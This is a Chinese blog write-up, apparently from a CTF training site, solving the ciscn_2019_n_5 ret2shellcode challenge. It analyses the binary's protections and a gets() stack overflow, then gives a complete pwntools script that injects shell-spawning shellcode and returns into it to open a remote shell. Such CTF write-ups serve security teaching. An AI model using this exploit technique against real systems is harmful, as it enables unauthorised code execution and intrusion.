buuctf ciscn_2019_n_5 pwn ret2shellcode

首先checksec查看保护策略,没有开栈不可执行NX,考虑构造shellcode

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

查看反编译代码,可以看到读了两次输入name和text,使用gets读text造成栈溢出
image

首先将shellcode写入name数组。name是全局变量,位于bss节的0x601080
image

查看栈结构,text数组的偏移为-0x20,返回地址的偏移为+0x8,所以需要覆盖(0x20+0x8)个字节,再将shellcode的地址0x601080覆盖返回地址
image

使用shellcraft.sh()来构造shellcode

from pwn import *
sh = remote("node4.buuoj.cn", 28630)
context(arch='amd64', os='linux')
shellcode = asm(shellcraft.sh())
sh.sendlineafter('tell me your name\n', shellcode)
payload = b'a' * (0x20 + 0x8) + p64(0x601080)
sh.sendlineafter('What do you want to say to me?\n', payload)
sh.interactive()

image

另外,本来想不将shellcode写入name,而是都通过text注入,然后jmp rsp的,可惜没有现成的指令可用,也就作罢。

posted @   眠眠眠眠  阅读(179)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!
点击右上角即可分享
微信分享提示